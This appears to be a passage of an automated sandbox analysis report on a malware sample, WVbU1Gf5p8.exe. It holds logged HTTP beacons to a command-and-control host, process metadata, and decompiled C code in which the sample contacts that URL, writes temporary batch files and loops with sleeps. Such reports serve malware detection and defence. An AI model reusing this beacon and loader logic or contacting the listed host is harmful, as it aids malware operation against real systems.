charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49861	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:49.851074934 CET	608	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:50.115175962 CET	618	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:49 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49864	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:50.402518034 CET	649	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:50.662182093 CET	653	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:50 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.4	49866	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:51.047215939 CET	657	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:51.313611031 CET	659	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:50 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.4	49867	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:51.581322908 CET	662	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:51.847165108 CET	666	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:51 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.4	49868	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:52.114242077 CET	668	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:52.375633955 CET	671	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:51 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.4	49869	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:52.756196976 CET	691	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:53.025325060 CET	1351	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:52 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.4	49875	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:53.292113066 CET	4303	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:53.554802895 CET	4303	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:52 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.4	49876	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:53.823312044 CET	4304	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:54.087682962 CET	4305	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:53 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.4	49877	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:54.462141037 CET	4305	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:54.720748901 CET	4306	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:53 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

System Behavior

Analysis Process: WVbU1Gf5p8.exe PID: 6344 Parent PID: 6040

General

Start time:	17:54:55
Start date:	11/01/2021
Path:	C:\Users\user\Desktop\WVbU1Gf5p8.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\WVbU1Gf5p8.exe'
Imagebase:	0x1230000
File size:	51000 bytes
MD5 hash:	69F7CDE70CC22ACEB5DD32FF1DC3F685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: WVbU1Gf5p8.exe PID: 6344 Parent PID: 6040 WVbU1Gf5p8.exeCOMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	1973
Total number of Limit Nodes:	24

Executed Functions

Function 01232240, Relevance: 47.5, APIs: 17, Strings: 10, Instructions: 203
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E01232240() {
				signed int _v8;
				char _v268;
				char _v528;
				char _v1552;
				long _v1556;
				char _v1560;
				struct _PROCESS_INFORMATION _v1576;
				struct _STARTUPINFOA _v1644;
				signed int _t38;
				int _t54;
				int _t58;
				int _t60;
				int _t73;
				int _t85;
				char* _t86;
				intOrPtr _t88;
				char _t89;
				void* _t92;
				void* _t94;
				int _t97;
				intOrPtr* _t99;
				intOrPtr* _t101;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t110;
				signed int _t111;
				void* _t112;
				void* _t113;

				_t38 =  *0x1249004; // 0x5a4607f2
				_v8 = _t38 ^ _t111;
				_push(_t104);
				E012333D0(_t104,  &_v268, 0, 0x104);
				E012333D0(_t104,  &_v528, 0, 0x104);
				_t113 = _t112 + 0x18;
				E012315C0("http://poem.ekosa.org/intro/info/info.asp", "http://poem.ekosa.org/intro/info/info.asp");
				GetTempPathA(0x104,  &_v528); // executed
				E01231EB0(); // executed
				_t88 =  *0x124203c;
				_t105 =  *0x1242014;
				asm("o16 nop [eax+eax]");
				while(1) {
					GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp"); // executed
					GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat"); // executed
					if(E01231720("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat",  &_v1560) < 0) {
						goto L11;
					}
					L2:
					_t98 = _v1560;
					_t86 = _t98 + "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat";
					_t97 = 0x104 - _t98;
					if(0x104 == 0) {
						L9:
						_t86 = _t86 - 1;
						L10:
						_t88 =  *0x124203c;
						 *_t86 = 0;
						goto L11;
					}
					_t98 = _t98 + 0x7fffffff;
					_t110 = ".bat" - _t86;
					while(_t98 != 0) {
						_t89 =  *((intOrPtr*)(_t110 + _t86));
						if(_t89 == 0) {
							break;
						}
						 *_t86 = _t89;
						_t98 = _t98 - 1;
						_t86 = _t86 + 1;
						_t97 = _t97 - 1;
						if(_t97 != 0) {
							continue;
						}
						goto L9;
					}
					__eflags = _t97;
					if(__eflags != 0) {
						goto L10;
					}
					goto L9;
					L11:
					if( *0x124a4d4 <= 0) {
						_t54 = E01231780(_t88, _t98, _t105, __eflags); // executed
						__eflags = _t54;
						if(_t54 == 0) {
							E012316A0( &_v268, 0x104, "DFE:%08x", GetLastError());
							_t99 =  &_v268;
							_t113 = _t113 + 0x10;
							_t92 = _t99 + 1;
							do {
								_t58 =  *_t99;
								_t99 = _t99 + 1;
								__eflags = _t58;
							} while (_t58 != 0);
							__eflags = _t99 - _t92;
							E01231A90( &_v268, _t99 - _t92); // executed
							_t101 =  &_v268;
							_t94 = _t101 + 1;
							do {
								_t60 =  *_t101;
								_t101 = _t101 + 1;
								__eflags = _t60;
							} while (_t60 != 0);
							L24:
							_t98 = _t101 - _t94;
							E01231A90( &_v268, _t101 - _t94); // executed
							Sleep(0x2bf20); // executed
							while(1) {
								GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp"); // executed
								GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat"); // executed
								if(E01231720("C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DD.tmp.bat",  &_v1560) < 0) {
									goto L11;
								}
								goto L2;
							}
						}
						L14:
						__eflags =  *0x124a4d4;
						if( *0x124a4d4 > 0) {
							continue;
							do {
								while(1) {
									GetTempFileNameA( &_v528, "TMP", 0, "C:\\Users\\jones\\AppData\\Local\\Temp\\TMPE5DC.tmp"); // executed
